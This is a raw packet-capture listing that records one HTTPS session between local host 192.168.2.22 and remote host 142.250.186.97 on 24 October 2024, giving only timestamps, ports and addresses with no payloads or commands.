Oct 24, 2024 08:59:15.364552975 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.364609003 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.364615917 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.364629030 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.364633083 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.364682913 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.364826918 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.364872932 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.367758989 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.368019104 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.368077993 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.368091106 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.368330002 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.368396044 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.368407965 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.377660990 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.377743959 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.377756119 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.377882957 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.377943039 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.377954960 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.421264887 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.421295881 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.421331882 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.421395063 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.421435118 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.421473026 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.459990978 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.460058928 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.460094929 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.460128069 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.460156918 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.478826046 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.478871107 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.478904009 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.478924036 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.478949070 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.478949070 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.482175112 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.482206106 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.482239962 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.482258081 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.482286930 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.494662046 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.494702101 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.494743109 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.494760990 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.494786024 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.538703918 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.538747072 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.538786888 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.538851023 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.538886070 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.577383041 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.577433109 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.577462912 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.577486992 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.577513933 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.595990896 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.596035004 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.596153021 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.596153021 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.596219063 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.596252918 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.596313953 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.599405050 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.599436998 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.599478006 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.599497080 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.599524975 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.611960888 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.611996889 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.612040043 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.612066031 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.612090111 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.655807018 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.655838013 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.655968904 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.655968904 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.656035900 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.694639921 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.694696903 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.694737911 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.694802999 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.694833994 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.694860935 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.694885969 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.697408915 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.712951899 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.712963104 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.713114023 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.713177919 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.713219881 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.713253975 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.717396021 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.717430115 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.717470884 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.717494011 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.717524052 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.728600979 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.728631020 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.728708029 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.728729963 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.728754997 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.728790998 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.772263050 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.772433996 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.772476912 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.772538900 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.772582054 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.775182009 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.775223017 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.775257111 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.775279045 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.775299072 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.775321007 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.775367022 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.813812971 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.813896894 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.813945055 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.814007998 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.814042091 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.833760023 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.833858967 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.833864927 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.833899975 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.833941936 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.836956024 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.837025881 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.837044001 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.837061882 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.837105036 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.855077982 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.855165958 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.855165958 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.855197906 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.855238914 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.890202999 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.890285015 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.890400887 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.890400887 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.890418053 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.928972960 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.929068089 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.929076910 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.929102898 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.929133892 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.947211027 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.947294950 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.947333097 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.947348118 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.947366953 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.947376966 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.947422981 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.951654911 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.951735973 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.951745033 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.951776028 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.951818943 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.962555885 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.962634087 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.962635040 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.962668896 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.962709904 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.989598036 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.989686012 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.989799023 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.989826918 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.989959002 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.008976936 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.009072065 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.009080887 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.009157896 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.009335041 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.046365976 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.046443939 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.046464920 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.046514034 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.046546936 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.064809084 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.064891100 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.064907074 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.064934969 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.064963102 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.064974070 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.065031052 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.069422007 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.069497108 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.069592953 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.069617033 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.069638968 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.071518898 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.071593046 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.071604013 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.071630001 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.071664095 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.089370012 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.089436054 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.089473963 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.089499950 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.089526892 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.089555979 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.126095057 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.126214027 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.126246929 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.126326084 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.163346052 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.163429976 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.163537025 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.163600922 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.163635969 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.181709051 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.181792021 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.181802034 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.181833029 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.181874990 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.185169935 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.185256004 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.185291052 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.185321093 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.185367107 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.187289000 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.187374115 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.187401056 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.187485933 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.187552929 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.187568903 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.197571039 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.197645903 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.197685957 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.197737932 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.197771072 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.241801977 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.241888046 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.241900921 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.241961956 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.241997004 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.244477034 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.244541883 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.244550943 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.244584084 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.244621992 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.281956911 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.282040119 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.282041073 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.282083988 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.282118082 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.282157898 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.306283951 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.306361914 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.306397915 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.306420088 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.306447983 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.308163881 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.308242083 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.308255911 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.308273077 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.308326006 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.313888073 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.313967943 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.313976049 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.314013004 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.314049959 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.323790073 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.323884010 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.323900938 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.323937893 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.324054956 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.324069023 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.358684063 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.358752012 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.358778954 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.358819962 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.358849049 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.362008095 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.362082958 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.362098932 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.362126112 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.362154007 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.399492025 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.399561882 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.399597883 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.399597883 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.399631023 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.399667978 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.421109915 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.421188116 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.421201944 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.421231031 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.421260118 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.423413038 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.423495054 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.423494101 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.423523903 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.423568010 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.425393105 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.425467014 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.425489902 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.425508976 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.425558090 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.441073895 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.441143990 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.441171885 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.441195011 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.441220045 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.643460989 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.675122976 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.675159931 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.675205946 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.675244093 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.675275087 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.675275087 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.675302029 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.675307989 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.675354958 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.675355911 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.675364017 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.675409079 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.675452948 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.676808119 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.676827908 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.676860094 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.676888943 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.676889896 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.676908016 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.676911116 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.677094936 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.677161932 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.677386999 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.677386999 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.679405928 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.679418087 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.679449081 CEST	443	49167	142.250.186.97	192.168.2.22
